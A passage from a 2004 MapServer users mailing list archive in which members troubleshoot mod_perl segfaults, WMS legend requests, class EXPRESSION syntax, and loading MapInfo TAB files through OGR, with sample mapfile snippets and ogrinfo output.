2004 at 09:47:38AM -0400: > > > The following message was sent by covad at ert.dyndns.org on Mon, 14 Jun > > > 2004 15:30:43 -0400. > > > > > > > I'm getting errors like the following: > > > > > > > > [Mon Jun 14 14:22:49 2004] [notice] child pid 19412 exit signal > > > Segmentation fault (11) > > > > > > > > in my apache error log, but only intermittently. The site is > usable, but > > > > craps out ~25% of the time. > > > > > > > > I'm running perl mapscript 4.2.0, apache 1.3.31, and mod_perl 1.29. > > > > > > > > Has anyone else seen behavior like this? > > > > > > > > Would rolling back to mapscript 4.0 help? > > > > > > > > Thanks, > > > > > > > > -rob > > > > > > > > > > Rob > > > > > > As Sean mentioned before - it is probably due to multiple requests into > > > the same map/mapObj. > > > Starting in 4.2 it should be safe to clone the map to avoid this but it > > > does require more testing then what has been done. > > > If that doesn't work I know that GOMOOS (currently very busy so I'm not > > > sure they will reply) currently uses mod_perl but opens a new map for > > > each request to ensure that two requests do not conflict. > > > > > > Lowell > > > > Rob > > Until I have a chance to switch our server to mod_perl I can't reproduce > the issue but I meant to suggest that you Do use a static map object for > each request to try and eliminate the problem. > Dynamic objects being drawn via MapScript only change the map object and > not the map file so it sounds like your expecting the map object to not > be shared between requests but in fact it is.? > You do not need to explicitly kill map objects and as long as seperate > requests are not sharing the same map object the process of 'reading' > the same static map file is read-only so no locking should be > required... unless your doing a saveMapContext.? I do see this type of error frequently in our development server Apache logs: > [Mon Jun 14 14:22:49 2004] [notice] child pid 19412 exit signal > > > Segmentation fault (11) in fact as recently as last Monday. Unfortunately I cannot remember what the circumstances were and I have not been able to reproduce it. When it happens again (it will) and my memory gets jogged I'll report the circumstances. We never see this in our production server or even in out development staging server. My guess is that it has nothing to do with mod_perl or thread safety issues since you load your map file for each request (as we do). There is no issue in multiple processes reading the map file simultaneously. Eric From gayathri at ou.edu Wed Jun 16 08:02:30 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Wed, 16 Jun 2004 10:02:30 -0500 Subject: [Mapserver-users] Requesting a legend with WMS Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0E4B76C@XMAIL1.sooner.net.ou.edu> Richard, Look for references of a "GetLegendGraphic" in the list archives... You can request for a Legend Graphic through WMS...and I think Assefa did this long time ago!. Gayathri > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Bart van den Eijnden > Sent: Wednesday, June 16, 2004 1:16 AM > To: Richard Orchard; mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Requesting a legend with WMS > > > Hi, > > there is with SLD WMS. I don't think our code is already in > CVS yet though. > > See the following bug report if you want to keep track of it: > http://mapserver.gis.umn.edu/bugs/show_bug.cgi> ?id=653 > > Best > regards, > Bart > > On Wed, 16 Jun 2004 12:31:14 > +0800, Richard Orchard > wrote: > > > hi, > > > > Is there a way to request a legend from MapServer with WMS? I have > > been searching for information, but it seems rather elusive... > > > > Thanks in advance, > > > > Richard > > > > > > > > > > This email and any files transmitted with it are confidential and > > intended solely for the use of the individual or entity to > whom they are > > addressed. If you have received this email in error please > notify the > > sender immediately and delete the original. Any other use > of the email > > by you is prohibited.. > > > > www.ermapper.com > > www.earthetc.com > > > > > > _______________________________________________ > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > -- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From eduardo at consultoria.eti.br Wed Jun 16 08:07:45 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 16 Jun 2004 12:07:45 -0300 Subject: [Mapserver-users] Logical expression is not working Message-ID: <20040616150746.20357.qmail@hm47.locaweb.com.br> I'm trying to display a point shapefile layer using logical expressions to classify the layer according to two field values but it's not working. my mapserver cgi is : MapServer version 4.2.0 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE if I put: ======== LAYER DATA "estabs" NAME "estabs" STATUS DEFAULT TYPE POINT CLASS NAME "all points" STYLE COLOR 192 128 32 SIZE 15 SYMBOL "SYM_POINT" END END END ======== it works fine, but not works if I write: +++++++++ LAYER DATA "estabs" NAME "estabs" STATUS DEFAULT TYPE POINT UNITS METERS CLASS NAME "A?ougue" EXPRESSION "(('[TIP_CODIGO]' eq '11') AND ([FLAGS] > 0))" STYLE COLOR 192 128 32 MAXSIZE 15 MINSIZE 5 SIZE 15 SYMBOL "SYM_ACOUGUE" END END CLASS NAME "Bar" EXPRESSION "(('[TIP_CODIGO]' eq '13') AND ([FLAGS] > 0))" STYLE COLOR 92 192 252 MAXSIZE 15 MINSIZE 5 SIZE 15 SYMBOL "SYM_BAR" END END END +++++++++ it should be working, but I don't know what is wrong here...and no error log is being generated. a "dbfinfo" of the given shapefile is returning: ... Info for /servidor/raiz_apache/tmp/estabs 19 Columns, 7 Records in file TIP_CODIGO string (10,0) GEOID integer (9,0) NOME string (30,0) CNPJ string (18,0) CRECI string (10,0) FONE string (17,0) EMAIL string (50,0) URL string (100,0) CONTATO string (30,0) SIMBOLO string (100,0) BAIRRO integer (9,0) LOGRADOURO integer (9,0) NUMERO string (6,0) CEP string (10,0) EHIMO string (1,0) COMPLEMEN string (20,0) FLAGS integer (4,0) ROTULO string (30,0) INFO integer (9,0) ... and a "dbfdump" of the file is returning: ::: TIP_CODIGO GEOID NOME CNPJ CRECI FONE EMAIL URL CONTATO SIMBOLO BAIRRO LOGRADOURO NUMERO CEP EHIMO COMPLEMEN FLAGS ROTULO INFO 10 0 Imobili?ria Garniz? 039803455-0001/04 1234567890 (19)3871-9999 garnize at webimoveis.com http://www.webimoveis.com/garnize/ Juca Pirama C:\servidor\restritos_apache\imobizz\mapconfig\brasil\sp\valinhos\symbols\sym_imobiliaria.png 20 2080 980 (NULL) S (NULL) 1 (NULL) 0 10 1 JJ Im?veis 232394836-0001/09 0912349234 (19)3877-9402 jj at jjimoveis.com.br http://www.jjimoveis.com.br Ronaldo Bacamira C:\servidor\restritos_apache\imobizz\mapconfig\brasil\sp\valinhos\symbols\sym_imobiliaria.png 29 3195 1209 (NULL) S (NULL) 3 JJ Im?veis 0 10 2 In?cio & Pitanga Imobili?ria 524354234-2234/01 245234592 (19)3872-7799 ip at webimoveis.com http://www.webimoveis.com/ip/ In?cio C:\servidor\restritos_apache\imobizz\mapconfig\brasil\sp\valinhos\symbols\sym_imobiliaria.png 14 1744 2354 (NULL) S (NULL) 3 In?cio & Pitanga Imobili?ria 0 08 3 Padaria Santa Clara 293921343-9934/01 (NULL) (19)8388-2222 santaclara at padarias.com (NULL) Joaquim Manoel C:\servidor\restritos_apache\imobizz\mapconfig\brasil\sp\valinhos\symbols\sym_padaria.png 0 2275 234 (NULL) N (NULL) 0 (NULL) 0 08 4 Padaria Argamassas (NULL) (NULL) (NULL) (NULL) (NULL) (NULL) C:\servidor\restritos_apache\imobizz\mapconfig\brasil\sp\valinhos\symbols\sym_padaria.png 16 2642 3664 (NULL) N Sala 0, piso 0 7 Padaria Argamassas 4 06 5 Lanchonete P?-pi-di 999999999-1111/02 (NULL) (NULL) (NULL) (NULL) Z? das Medalhas C:\servidor\restritos_apache\imobizz\mapconfig\brasil\sp\valinhos\symbols\sym_lanchonete.png 16 3149 999 (NULL) N (NULL) 7 Lanchonete P?-pi-di 5 05 6 WO Pizza Bar (NULL) (NULL) (NULL) (NULL) (NULL) Fulano de Tal C:\servidor\restritos_apache\imobizz\mapconfig\brasil\sp\valinhos\symbols\sym_lanchonete.png 30 3198 1000 (NULL) N (NULL) 15 WO Pizza Bar 6 ::: Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From eric.belenfant at ac-orleans-tours.fr Wed Jun 16 07:59:13 2004 From: eric.belenfant at ac-orleans-tours.fr (Belenfant Eric) Date: Wed, 16 Jun 2004 16:59:13 +0200 Subject: [Mapserver-users] beginner in mapserver Message-ID: <40D06041.9060608@ac-orleans-tours.fr> Hi, i'm a beginner in mapserver. I try to use mapserver on a W32 with PHP 4.3.3 and maps from MapInfo 6.5. First notice: I get the files from MapInfo (.DAT, .MAP, .IND, .ID) Then, as they say in the tutorial, i try changing the dataset in the .MAP mapfile I open the .MAP but it's a binary file impossible to understand. So what is the mystake ?? Should i create another .map in txt format and refer to the files coming from MAPINFO ?? I'm lost !!!! thanks a lot for your answer From nicolas.fortin at ec.gc.ca Wed Jun 16 08:36:25 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Wed, 16 Jun 2004 11:36:25 -0400 Subject: [Mapserver-users] beginner in mapserver Message-ID: <118A9CF846431048B65C4AFB0E57C0ED037343@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Hi Eric, I don't know much about mapinfo but .map from mapinfo is not the same file format as the .map from mapserver. Mapfile from mapserver is plain text file and you have to do it yourself to use your data. Hope this helps, Nicolas -----Message d'origine----- De : mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] De la part de Belenfant Eric Envoy? : Wednesday, June 16, 2004 10:59 AM ? : Mapserver-users at lists.gis.umn.edu Objet : [Mapserver-users] beginner in mapserver Hi, i'm a beginner in mapserver. I try to use mapserver on a W32 with PHP 4.3.3 and maps from MapInfo 6.5. First notice: I get the files from MapInfo (.DAT, .MAP, .IND, .ID) Then, as they say in the tutorial, i try changing the dataset in the .MAP mapfile I open the .MAP but it's a binary file impossible to understand. So what is the mystake ?? Should i create another .map in txt format and refer to the files coming from MAPINFO ?? I'm lost !!!! thanks a lot for your answer _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From 1wilkerson at charter.net Wed Jun 16 08:44:36 2004 From: 1wilkerson at charter.net (1wilkerson at charter.net) Date: Wed, 16 Jun 2004 11:44:36 -0400 Subject: [Mapserver-users] Help please with Query problem Message-ID: <36u68g$ve7ie@mxip14a.cluster1.charter.net> Hi! I am still very much new to Mapserver and need help. Would somebody check my earlier message requesting help? I really could use some input. The message URL is: http://lists.gis.umn.edu/pipermail/mapserver-users/2004-June/013954.html Thanks!! Peter From mike.merrett at city.whitehorse.yk.ca Wed Jun 16 08:51:10 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Wed, 16 Jun 2004 08:51:10 -0700 Subject: [Mapserver-users] beginner in mapserver Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEF47@DUKE.city.whitehorse.yk.ca> For mapinfo files you have to use OGR instead of DATA in you layer use CONNECTIONTYPE OGR CONNECTION "fn.tab" keep in mind that mapinfo files can have different types of geometry (i.e. point, polygon, lines, annotation) and the only way I have found to handle them is different layers with different types pointing to the same file (and then group them to hide it) Hope this helps, Mike Merrett -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Belenfant Eric Sent: June 16, 2004 7:59 AM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] beginner in mapserver Hi, i'm a beginner in mapserver. I try to use mapserver on a W32 with PHP 4.3.3 and maps from MapInfo 6.5. First notice: I get the files from MapInfo (.DAT, .MAP, .IND, .ID) Then, as they say in the tutorial, i try changing the dataset in the .MAP mapfile I open the .MAP but it's a binary file impossible to understand. So what is the mystake ?? Should i create another .map in txt format and refer to the files coming from MAPINFO ?? I'm lost !!!! thanks a lot for your answer _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eric at gomoos.org Wed Jun 16 08:51:16 2004 From: eric at gomoos.org (Eric Bridger) Date: 16 Jun 2004 11:51:16 -0400 Subject: [Mapserver-users] Logical expression is not working In-Reply-To: <20040616150746.20357.qmail@hm47.locaweb.com.br> References: <20040616150746.20357.qmail@hm47.locaweb.com.br> Message-ID: <1087401082.1519.35.camel@ubet.gomoos.org> On Wed, 2004-06-16 at 11:07, Eduardo Patto Kanegae wrote: > I'm trying to display a point shapefile layer using logical expressions to classify the layer according to two field values but it's not working. > > my mapserver cgi is : > MapServer version 4.2.0 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > ... > it works fine, but not works if I write: > > +++++++++ > LAYER > DATA "estabs" > NAME "estabs" > STATUS DEFAULT > TYPE POINT > UNITS METERS > CLASS > NAME "A?ougue" > EXPRESSION "(('[TIP_CODIGO]' eq '11') AND ([FLAGS] > 0))" > STYLE > COLOR 192 128 32 > MAXSIZE 15 > MINSIZE 5 > SIZE 15 > SYMBOL "SYM_ACOUGUE" > END > END > CLASS > NAME "Bar" > EXPRESSION "(('[TIP_CODIGO]' eq '13') AND ([FLAGS] > 0))" > STYLE > COLOR 92 192 252 > MAXSIZE 15 > MINSIZE 5 > SIZE 15 > SYMBOL "SYM_BAR" > END > END > END > +++++++++ > > it should be working, but I don't know what is wrong here...and no error log is being generated. Just a guess, but have you tried removing the extra parentheses? EXPRESSION "('[TIP_CODIGO]' eq '13' AND [FLAGS] > 0)" From eric.belenfant at ac-orleans-tours.fr Wed Jun 16 08:47:47 2004 From: eric.belenfant at ac-orleans-tours.fr (Belenfant Eric) Date: Wed, 16 Jun 2004 17:47:47 +0200 Subject: [Mapserver-users] thanks for your answers guys !!! Message-ID: <40D06BA3.2090901@ac-orleans-tours.fr> Ok, if i understand what you're saying : using MAPINFO in mapserver i am obliged to write manually the .map file and refer to the .tab . MapInfo sftware doesn't provide a .map file ready to use in mapserver. is that correct ? If someone has an full example of MapInfo mapfile i am interested in !! eric From sbeorchia at gi-lemans.fr Wed Jun 16 09:02:24 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Wed, 16 Jun 2004 18:02:24 +0200 Subject: [Mapserver-users] beginner in mapserver References: <40D06041.9060608@ac-orleans-tours.fr> Message-ID: <008901c453bb$50be8730$8469850a@GILEMANS> Hi, Be careful, the MAP file is the one for Mapserver, not the one from the Mapinfo file. This one is a text one and u can open it. Then u have to define a layer for your mapinfo file, like this (example): LAYER NAME "mapinfo_layer" STATUS ON CONNECTIONTYPE OGR CONNECTION "file.TAB" TYPE LINE SIZEUNITS PIXELS TOLERANCE 3 TOLERANCEUNITS PIXELS MINSCALE 0 MAXSCALE 100000 CLASS TEMPLATE "obj_del.html" NAME "mapinfolevel" TITLE "Niveau mapinfo" SYMBOL "circle" COLOR 0 255 0 SIZE 1 MINSIZE 1 MAXSIZE 100 LABEL TYPE BITMAP POSITION CC OFFSET 0 0 SIZE SMALL OUTLINECOLOR 0 0 0 COLOR 255 255 255 BUFFER 0 MINDISTANCE -1 MINFEATURESIZE -1 PARTIALS TRUE FORCE FALSE END END END Sylvain. ----- Original Message ----- From: "Belenfant Eric" To: Sent: Wednesday, June 16, 2004 4:59 PM Subject: [Mapserver-users] beginner in mapserver > Hi, > > i'm a beginner in mapserver. > I try to use mapserver on a W32 with PHP 4.3.3 and maps from MapInfo 6.5. > First notice: > I get the files from MapInfo (.DAT, .MAP, .IND, .ID) > Then, as they say in the tutorial, i try changing the dataset in the > .MAP mapfile > I open the .MAP but it's a binary file impossible to understand. > > So what is the mystake ?? > Should i create another .map in txt format and refer to the files coming > from MAPINFO ?? > > I'm lost !!!! > > thanks a lot for your answer > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From tjmitchell at riverside.bc.ca Wed Jun 16 09:11:03 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 16 Jun 2004 09:11:03 -0700 Subject: [Mapserver-users] Logical expression is not working In-Reply-To: <20040616150746.20357.qmail@hm47.locaweb.com.br> Message-ID: I found this earlier answer to be very helpful: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0405/msg00714.html It talks about postgis and shapefiles but also applies to other formats. Hope that helps. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 06/16/2004 12:07:45 PM: > I'm trying to display a point shapefile layer using logical > expressions to classify the layer according to two field values but > it's not working. From woodbri at swoodbridge.com Wed Jun 16 09:12:49 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 16 Jun 2004 12:12:49 -0400 Subject: [Mapserver-users] Help please with Query problem In-Reply-To: <36u68g$ve7ie@mxip14a.cluster1.charter.net> References: <36u68g$ve7ie@mxip14a.cluster1.charter.net> Message-ID: <40D07181.3020306@swoodbridge.com> Peter, I think you can do this by creating two layers using the same data file and setting the class up to select "RES" and style it one way and then to select "COM" in the other layer and style it a different way. I do this with street data so I can label the streets with text names and also place route badges on the same streets. You have to do it with two layers because want to put two different stylings on the same object. Have two layers means you take two passes over the data once in each layer. -Steve W. 1wilkerson at charter.net wrote: > Hi! > > I am still very much new to Mapserver and need help. Would somebody check my earlier message requesting help? I really could use some input. The message URL is: > > http://lists.gis.umn.edu/pipermail/mapserver-users/2004-June/013954.html From 1wilkerson at charter.net Wed Jun 16 09:20:01 2004 From: 1wilkerson at charter.net (1wilkerson at charter.net) Date: Wed, 16 Jun 2004 12:20:01 -0400 Subject: [Mapserver-users] Help please with Query problem Message-ID: <36u633$vrtl9@mxip08a.cluster1.charter.net> Steve-- Thanks for the suggestion. I had not approached it from that perspective. I'll try it. With much appreciation! Peter > > From: Stephen Woodbridge > Date: 2004/06/16 Wed PM 12:12:49 EDT > To: 1wilkerson at charter.net > CC: Mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Help please with Query problem > > Peter, > > I think you can do this by creating two layers using the same data file > and setting the class up to select "RES" and style it one way and then > to select "COM" in the other layer and style it a different way. > > I do this with street data so I can label the streets with text names > and also place route badges on the same streets. You have to do it with > two layers because want to put two different stylings on the same > object. Have two layers means you take two passes over the data once in > each layer. > > -Steve W. > > 1wilkerson at charter.net wrote: > > > Hi! > > > > I am still very much new to Mapserver and need help. Would somebody check my earlier message requesting help? I really could use some input. The message URL is: > > > > http://lists.gis.umn.edu/pipermail/mapserver-users/2004-June/013954.html > > > From tjmitchell at riverside.bc.ca Wed Jun 16 09:22:50 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 16 Jun 2004 09:22:50 -0700 Subject: [Mapserver-users] MapInfo example (was: thanks for your answers guys) In-Reply-To: <40D06BA3.2090901@ac-orleans-tours.fr> Message-ID: > if i understand what you're saying : > using MAPINFO in mapserver i am obliged to write manually the .map file > and refer to the .tab . > MapInfo sftware doesn't provide a .map file ready to use in mapserver. > > is that correct ? > > If someone has an full example of MapInfo mapfile i am interested in !! Here's an example for you Eric, which Jeff McKenna pulled together for a recent workshop, hope it helps you out. It shows the syntax of using the ogrinfo utility (from GDAL/OGR package) to give you more info about the file and also shows a mapfile example. -------------- MapInfo Files Also known as TAB or MID/MIF files. File listing The following files are also associated with .TAB files: .DAT, .ID, .MAP. An example is: border.DAT border.ID border.MAP border.TAB The term MID/MIF refers to files with .MID and .MIF extension. Data Access / Connection Method 1. TAB and MID/MIF access is available in MapServer through OGR. 2. The CONNECTIONTYPE OGR parameter must be used. 3. The path to the (*.tab or *.mif) file is required, and file extension is needed. 4. The path may be relative to the SHAPEPATH 5. DGN files already contain "styling" information. This styling information can be used (optionally) by specifying the STYLEITEM "AUTO" parameter in the LAYER object of the mapfile. 6. If you use STYLEITEM "AUTO" you must have an empty class in the layer OGRINFO Examples ogrinfo on a single TAB file $ ogrinfo elev5_poly.TAB Had to open data source read-only. INFO: Open of `elev5_poly.TAB' using driver `MapInfo File' successful. 1: elev5_poly (Polygon) Using ogrinfo to examine the structure of the file/layer $ ogrinfo elev5_poly.TAB elev5_poly Had to open data source read-only. INFO: Open of `elev5_poly.TAB' using driver `MapInfo File' successful. Layer name: elev5_poly Geometry: Polygon Feature Count: 2236 Extent: (-141.000000, 60.000000) - (-124.403310, 69.300251) Layer SRS WKT: GEOGCS["unnamed", DATUM["MIF 0", SPHEROID["WGS 84 (MAPINFO Datum 0)",6378137.01,298.257223563], TOWGS84[0,0,0,0,0,0,0]], PRIMEM["Greenwich",0], UNIT["degree",0.0174532925199433]] AREA: Real (0.0) PERIMETER: Real (0.0) ELEV5_: Integer (0.0) ELEV5_ID: Integer (0.0) TYPE: Real (4.0) ELEV5: Real (4.0) ... Mapfile Syntax LAYER NAME Elevation_Poly_5 TYPE POLYGON STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION "./hypso/elev5_poly.TAB" STYLEITEM "AUTO" CLASS NAME "Elevation Poly 5" END PROJECTION "proj=latlong" "ellps=WGS84" # Geographic END END # Layer From eduardo at consultoria.eti.br Wed Jun 16 09:42:12 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 16 Jun 2004 13:42:12 -0300 Subject: [Mapserver-users] Logical expression is not working In-Reply-To: <1087401082.1519.35.camel@ubet.gomoos.org> References: <1087401082.1519.35.camel@ubet.gomoos.org> Message-ID: <20040616164212.10784.qmail@hm47.locaweb.com.br> YEs. I put as u told me: EXPRESSION "('[TIP_CODIGO]' eq 'XX' AND [FLAGS] > 0)" but no point appears. I also tried removing (): EXPRESSION "'[TIP_CODIGO]' eq 'XX' AND [FLAGS] > 0" but it didn't work too. I've downloaded this binary ms 4.2 from www.maptools.org ( phpmapscript package) Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On 16 Jun 2004 11:51:16 -0400, Eric Bridger escreveu: > De: Eric Bridger > Data: 16 Jun 2004 11:51:16 -0400 > Para: Eduardo Patto Kanegae > Assunto: Re: [Mapserver-users] Logical expression is not working > > On Wed, 2004-06-16 at 11:07, Eduardo Patto Kanegae wrote: > > I'm trying to display a point shapefile layer using logical expressions to classify the layer according to two field values but it's not working. > > > > my mapserver cgi is : > > MapServer version 4.2.0 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > > ... > > it works fine, but not works if I write: > > > > +++++++++ > > LAYER > > DATA "estabs" > > NAME "estabs" > > STATUS DEFAULT > > TYPE POINT > > UNITS METERS > > CLASS > > NAME "A?ougue" > > EXPRESSION "(('[TIP_CODIGO]' eq '11') AND ([FLAGS] > 0))" > > STYLE > > COLOR 192 128 32 > > MAXSIZE 15 > > MINSIZE 5 > > SIZE 15 > > SYMBOL "SYM_ACOUGUE" > > END > > END > > CLASS > > NAME "Bar" > > EXPRESSION "(('[TIP_CODIGO]' eq '13') AND ([FLAGS] > 0))" > > STYLE > > COLOR 92 192 252 > > MAXSIZE 15 > > MINSIZE 5 > > SIZE 15 > > SYMBOL "SYM_BAR" > > END > > END > > END > > +++++++++ > > > > it should be working, but I don't know what is wrong here...and no error log is being generated. > > > Just a guess, but have you tried removing the extra parentheses? > > EXPRESSION "('[TIP_CODIGO]' eq '13' AND [FLAGS] > 0)" > > > > From tjmitchell at riverside.bc.ca Wed Jun 16 09:48:22 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 16 Jun 2004 09:48:22 -0700 Subject: [Mapserver-users] MapInfo example (was: thanks for your answers guys) In-Reply-To: Message-ID: Sorry for the poor (non-existant) formatting, looked kinda cruddy once the HTML headings were stripped out. I'm attaching a slightly better formated version below... MapInfo Files Also known as TAB or MID/MIF files. File listing The following files are also associated with .TAB files: .DAT, .ID, .MAP. An example is: border.DAT border.ID border.MAP border.TAB The term MID/MIF refers to files with .MID and .MIF extension. Data Access / Connection Method 1.TAB and MID/MIF access is available in MapServer through OGR. 2.The CONNECTIONTYPE OGR parameter must be used. 3.The path to the (*.tab or *.mif) file is required, and file extension is needed. 4.The path may be relative to the SHAPEPATH 5.DGN files already contain "styling" information. This styling information can be used (optionally) by specifying the STYLEITEM "AUTO" parameter in the LAYER object of the mapfile. 6.If you use STYLEITEM "AUTO" you must have an empty class in the layer OGRINFO Examples ogrinfo on a single TAB file $ ogrinfo elev5_poly.TAB Had to open data source read-only. INFO: Open of `elev5_poly.TAB' using driver `MapInfo File' successful. 1: elev5_poly (Polygon) Using ogrinfo to examine the structure of the file/layer $ ogrinfo elev5_poly.TAB elev5_poly Had to open data source read-only. INFO: Open of `elev5_poly.TAB' using driver `MapInfo File' successful. Layer name: elev5_poly Geometry: Polygon Feature Count: 2236 Extent: (-141.000000, 60.000000) - (-124.403310, 69.300251) Layer SRS WKT: GEOGCS["unnamed", DATUM["MIF 0", SPHEROID["WGS 84 (MAPINFO Datum 0)",6378137.01,298.257223563], TOWGS84[0,0,0,0,0,0,0]], PRIMEM["Greenwich",0], UNIT["degree",0.0174532925199433]] AREA: Real (0.0) PERIMETER: Real (0.0) ELEV5_: Integer (0.0) ELEV5_ID: Integer (0.0) TYPE: Real (4.0) ELEV5: Real (4.0) ... Mapfile Syntax LAYER NAME Elevation_Poly_5 TYPE POLYGON STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION "./hypso/elev5_poly.TAB" STYLEITEM "AUTO" CLASS NAME "Elevation Poly 5" END PROJECTION "proj=latlong" "ellps=WGS84" # Geographic END END # Layer From eduardo at consultoria.eti.br Wed Jun 16 09:42:10 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 16 Jun 2004 13:42:10 -0300 Subject: [Mapserver-users] Logical expression is not working In-Reply-To: References: Message-ID: <40D07862.5040503@consultoria.eti.br>
I tried:

- EXPRESSION "('[TIP_CODIGO]' eq '10' AND [FLAGS] > 0)"

- EXPRESSION "'[TIP_CODIGO]' eq '10' AND [FLAGS] > 0"

- EXPRESSION "('[TIP_CODIGO]' eq '10' AND '[FLAGS]' > '0')"

- EXPRESSION "'[TIP_CODIGO]' eq '10' AND '[FLAGS]' > '0'"

- EXPRESSION "('[TIP_CODIGO]' eq '10')"

- EXPRESSION "'[TIP_CODIGO]' eq '10'"

- EXPRESSION "('[FLAGS]' > '0')"

- EXPRESSION "'[FLAGS]' > '0'"

- EXPRESSION "([FLAGS] > 0)"

- EXPRESSION "[FLAGS] > 0"

but none of these works.

sounds like logical expression is not working.

I also made the same tests at my server which is a:
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

but no results.

any idea?

best.

Eduardo



Tyler Mitchell escreveu:
I found this earlier answer to be very helpful:

http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0405/msg00714.html

It talks about postgis and shapefiles but also applies to other formats.
Hope that helps.

Tyler

mapserver-users-admin at lists.gis.umn.edu wrote on 06/16/2004 12:07:45 PM:

  
I'm trying to display a point shapefile layer using logical 
expressions to classify the layer according to two field values but 
it's not working.
    



  

-- 
Eduardo Patto Kanegae
http://www.consultoria.eti.br
UIN: 303747254

Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver
I Encontro Nacional de Usuários MapServer - http://mapserver.cttmar.univali.br/encontro2004
Fórum MapServer Brasil - http://mapserver.cttmar.univali.br/forum

***Fim da Mensagem / End of Message ***
From 1wilkerson at charter.net Wed Jun 16 10:30:01 2004 From: 1wilkerson at charter.net (1wilkerson at charter.net) Date: Wed, 16 Jun 2004 13:30:01 -0400 Subject: [Mapserver-users] Re: Help please with Query problem Message-ID: <36u63k$vbavi@mxip12a.cluster1.charter.net> I am still missing something obvious. I tried implementing the solution Steve Woodbridge suggested but I encountered a problem. If I create two different layers based on the same SHP file, how can it make sure the results don't overlap with one another? I would need to filter both SHP files based on the contents of two fields -- DATA_CODE and OCCUPATION So... Layer1 would be filtered on DATA_CODE = RES and OCCUPATION = plumbers Layer2 would be filtered on DATA_CODE = COM and OCCUPATION = plumbers How do I express that within PHP/Mapscript? The full code I am using is at: http://lists.gis.umn.edu/pipermail/mapserver-users/2004-June/013954.html All help greatly appreciated!! Peter > > From: Stephen Woodbridge > Date: 2004/06/16 Wed PM 12:12:49 EDT > To: 1wilkerson at charter.net > CC: Mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Help please with Query problem > > Peter, > > I think you can do this by creating two layers using the same data file > and setting the class up to select "RES" and style it one way 